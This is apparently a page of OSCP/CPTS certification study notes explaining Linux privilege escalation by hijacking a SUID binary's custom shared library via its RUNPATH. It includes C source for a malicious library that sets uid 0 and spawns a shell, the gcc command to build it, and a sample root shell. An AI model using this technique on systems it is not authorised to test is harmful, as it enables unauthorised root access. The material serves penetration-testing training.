OSCP-CPTS NOTES
TwitterGithubLinkedinInstagramDiscord
  • oscp-cpts-notes
  • Pivoting & Tunneling
    • Local Port Forwarding
    • Remote Port Forwarding
    • Dynamic Port Forwarding
    • Ligolo-ng
  • Linux Privilege Escalation
    • Gathering Information of the System
    • Capabilities
    • Group Based
    • SUID Privilege Escalation
    • Cron Job
    • Exploiting NFS weak Permission
    • Sudo + LD_PRELOAD (Shared Libraries)
    • Shared Object Manipulation
    • Python Library Hijacking
  • Windows Privilege Escalation
    • Gathering Information of the System
    • User Privileges
      • SeImpersonatePrivilege and SeAssignPrimaryToken
      • SeDebugPrivilege
      • SeTakeOwnershipPrivilege
    • Group Privileges
      • Backup Operators
      • DnsAdmins
      • Server Operators
      • Always Install Elevated
      • Print Operators
      • Event Log Readers
      • Hyper-V Administrators
    • Credential Theft
  • Active Directory Attacks
    • Enumeration
    • Initial Foothold
    • Gathering Users & Password Policies
    • Password Spraying
    • Credentialed Enumeration From Linux
    • Credentialed Enumeration From Windows
    • Kerberoasting - From Linux
    • Kerberoasting - From Windows
  • Beyond OSCP - CPTS
    • RED TEAMING
      • Windows Local Persistence
        • Tampering With Unprivileged Accounts
        • Backdooring Files
        • Abusing Services
        • Abusing Scheduled Tasks
        • Logon Triggered Persistence
        • Backdooring the Login Screen / RDP
        • Persisting Through Existing Services
Powered by GitBook
On this page
  • Example
  • Viewing the shared object required for specific binary

Was this helpful?

Edit on GitHub
  1. Linux Privilege Escalation

Shared Object Manipulation

A shared object is a compiled binary file that contains code and data that can be shared among multiple programs. In Unix-like operating systems, shared objects are typically represented by files with the .so (shared object) extension. They allow programs to utilize common libraries, reducing redundancy and saving memory, as multiple programs can load the same shared object into memory at runtime.

Some Binaries or programs might have custom object/libraries associated with them. If we have access to manipulate the custom object used by such program, we can get escalate privilege.

Example

user@pc1:~$ ls -la dbs
-rwsr-xr-x 1 root root 1000 Nov  2 15:05 dbs

lets say there is a library with suid bit set.

Viewing the shared object required for specific binary

Using ldd we can view the shaed object required.

user@pc1:~$ ldd dbs

.............................
libshared.so => /lib/x86_64-linux-gnu/thisislibrary.so (0x00007adf777654dsfaasdf)
.............................
.............................

from the output we can see, dbs binary's non standard library thisislibrary.so

Using readelf tool we can look at the path for the shared libraries.

user@pc1:~$ readelf -d dbs  | grep PATH
 0x00000000000000 (RUNPATH)            Library runpath: [/dollarboysushil]

From the output, we can say custom library is imported from /dollarboysushil directory

If we have write access to this directory, then we can add malicious library in this directory.

#include<stdio.h>
#include<stdlib.h>

void dbquery() {
    printf("Hacked by dollarboysushil");
    setuid(0);
    system("/bin/sh -p");
} 

Compiling this malicious library

gcc malicious.c -fPIC -shared -o /dollarboysushil/thisislibrary.so

Now when we run the dbs binary, we will get shell as root.

root@pc1:~$ ./dbs 
Hacked by dollarboysushil
# whoami
root

PreviousSudo + LD_PRELOAD (Shared Libraries)NextPython Library Hijacking

Last updated 7 months ago

Was this helpful?